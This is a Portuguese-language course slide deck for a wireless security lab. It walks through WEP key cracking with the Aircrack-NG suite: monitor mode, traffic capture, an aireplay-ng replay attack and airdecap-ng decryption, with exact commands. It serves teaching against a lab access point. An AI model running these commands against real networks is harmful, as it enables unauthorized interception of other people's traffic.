Redes sem Fio Segurança em WLANs (802.11) Parte 02. Ricardo Kléber. Ricardo Kléber

Transcrição

1 Redes sem Fio Segurança em WLANs (802.11) Parte 02 Curso Superior de Tecnologia em Sistemas para Internet Turma: TEC.SIS.5M

2 Objetivo da atividade prática Monitoramento (grampo) e captura de pacotes em redes sem fio) Ativação do modo monitor (captura em múltiplos canais); Captura específica + geração de arquivo.pcap Quebra de chave WEP

3 Cenário (Laboratório de Redes) AP com rede WEP (Alvo_01) Utilizar estações do laboratório (Linux) + USB-WiFi Atenção!!! A captura (grampo) naturalmente só funcionará nos equipamentos com o Linux (nativo), adaptador Wi- Fi, driver com suporte ao modo monitor e software de captura (pacote Aircrack-NG) NÃO use seus equipamentos pessoais na rede de testes durante as práticas!!!

4 Configuração das Estações de ataque (grampos) Verifique as interfaces de rede disponíveis # iwconfig lo eth0 no wireless extensions. no wireless extensions. Conectar adaptador USB-WiFi # iwconfig lo wlan0 eth0 no wireless extensions. IEEE bg ESSID:off/any Mode:Managed Access Point: Not-Associated Tx-Power=0 dbm Retry long limit:7 RTS thr:off Fragment thr:off Encryption key:off Power Management:on no wireless extensions.

5 Configuração das Estações de ataque (grampos) Ative o modo monitor da interface # airmon-ng start wlan0 (...) Interface Chipset Driver wlan0 Atheros AR2425 ath5k - [phy0] (monitor mode enabled on mon0) Verifique se o equipamento ativou adequadamente o modo monitor!!! (sem essa condição a prática não poderá ser realizada)

6 Configuração das Estações de ataque (grampos) Verifique que existem agora duas interfaces de rede sem fio: # iwconfig lo no wireless extensions. mon0 IEEE bg Mode:Monitor Tx-Power=off Retry long limit:7 RTS thr:off Fragment thr:off Power Management:on wlan0 IEEE bg ESSID:off/any Mode:Managed Access Point: Not-Associated Tx-Power=off Retry long limit:7 RTS thr:off Fragment thr:off Encryption key:off Power Management:on eth0 no wireless extensions.

7 Estações de ataque (grampos) Capture a analise o tráfego em modo monitor (múltiplos canais): # airodump-ng mon0 CH 10 ][ Elapsed: 1 min][ :30 BSSID PWR Beacons #Data #/s CH MB ENC CIPHER AUTH ESSID WEP / WPA / OPEN Canal Dados (efetivamente) capturados Número de beacon frames capturados Endereço MAC do Access Point

8 Estações de ataque (grampos) Identifique (pelo SSID) as informações da rede-alvo (Alvo_01) Endereço MAC (BSSID) Se (de fato) utiliza criptografia WEP (campo ENC) Em qual canal está funcionando (campo CH) Pare a captura (CTRL+C) e reconfigure de forma adequada: -w <arquivo gerado pela captura> -c <canal> Exemplo --bssid <MAC do Access Point> # airodump-ng -w teste -c 11 --bssid 00:14:c4:1a:3e:20 mon0

9 Estações de ataque (grampos) Com a captura em andamento, execute (em outro terminal) o quebrador de senhas para testar e tentar identificar a chave em tempo real: # aircrack-ng teste*.cap Acompanhe as tentativas de quebra de chave WEP neste terminal!!! A cada IVs capturados nova tentativa é realizada Quando sua estação quebrar a chave WEP, NÃO RETIRE o adaptador sem realizar os procedimentos lógicos necessários!!!

10 Final da prática (liberando o adaptador) Conseguido o objetivo (quebra da chave WEP) siga os passos: Desative o modo monitor da interface: # airmon-ng stop mon0 Desative (down) a interface de rede sem fio: # ifconfig wlan0 down

11 Atividade Prática Ativar a interface de rede WiFi em modo monitor Utilizando o Airmon-NG Capturar e analisar o tráfego de redes sem fio Utilizando o Airodump-NG Identificar e capturar o tráfego (WEP) da rede Alvo_01 Quebrar (descobrir) a chave WEP (usando o Aircrack-NG)

12 Informações Complementares Mesmo sem o adaptador, os arquivos.cap gerados podem ser utilizados a qualquer momento Pelo aircrack-ng: para quebrar a senha off-line No Wireshark (ou outro analisador): para analisar o tráfego O airodump-ng gera outros arquivos (CSV e XML) geralmente utilizados por outras ferramentas de análise (como o Kismet)

13 Captura e ataques a redes WEP Técnicas de Ataque Complementares O número de pacotes WEP (vetores de inicialização) capturados está diretamente (e inversamente) relacionado ao tempo de quebra da chave; Descoberta de chave WEP em redes com pouco tráfego podem necessitar de várias horas (ou dias!?); O ataque de injeção de pacotes repetidos/clonados é indicado nesses casos (ataque de repetição = replay attack).

14 Captura e ataques a redes WEP Ferramenta do pacote Aircrack-NG para replay attack Uma das ferramentas que pode ser utilizada para este tipo de ataque complementar é o aireplay-ng (contida no pacote Aircrack-NG). Para captura e reinjeção de pacotes em redes WEP (forçando a criação e envio de novos IVs) o parâmetro do aireplay-ng é o 3. Sintaxe: # aireplay-ng -3 -b MAC_do_AP -h MAC_Cliente <interface> Para identificar tanto o MAC do AP como o MAC do Cliente utilizar antes o airodump-ng e observar o BSSID (AP) e STATION (Cliente)

15 Captura e ataques a redes WEP Aireplay-ng: Identificando os MACs (estação e AP) Exemplo: # aireplay-ng -3 -b 00:01:36:0E:AF:54 -h 00:19:7E:44:C7:C3 mon0 A captura de pacotes deve funcionar simultaneamente (naturalmente)

16 Captura e ataques a redes WEP Ataque off-line a rede WEP Descobri a chave WEP... e aí?

17 Desencriptando arquivo WEP off-line Ferramenta do pacote Aircrack-NG para decrypt off-line Uma das ferramentas que pode ser utilizada para este tipo de ataque complementar é o airdecap-ng (contida no pacote Aircrack-NG). Arquivo de captura (PCAP) (ENCRIPTADO) Airdecap-NG + Chave WEP Arquivo de captura (PCAP) (DESENCRIPTADO)

18 Desencriptando arquivo WEP off-line (prática) Prática com o Airdecap-NG Baixe o arquivo captura_wep_01.cap Visualize seu conteúdo no Wireshark (camadas superiores "escondidas") Utilize o airdecap-ng e a senha que você descobriu na prática anterior: # airdecap-ng -w CHAVE_WEP captura_wep_01.cap Abra o novo arquivo (desencriptado) com o Wireshark wireshark captura_wep_01-dec.cap Observe que o tráfego (transporte e aplicação) não está mais encriptado (criptografia WEP no enlace foi removida)

19 Desencriptando arquivo WEP off-line (prática) Prática com o Airdecap-NG Exemplo: # airdecap-ng -w a1a1a1a1a1 wep01.cap Total number of packets read Total number of WEP data packets Total number of WPA data packets 0 Number of plaintext data packets 0 Number of decrypted WEP packets Number of corrupted WEP packets 0 Number of decrypted WPA packets 0

20 Atividade Prática Visualizar o tráfego captura_wep_01.cap Utilizando o Wireshark (confirmar que o tráfego está encriptado) Desencriptar o arquivo de captura Utilizando a senha WEP descoberta na prática anterior Analisar o tráfego (desencriptado) Utilizando o Wireshark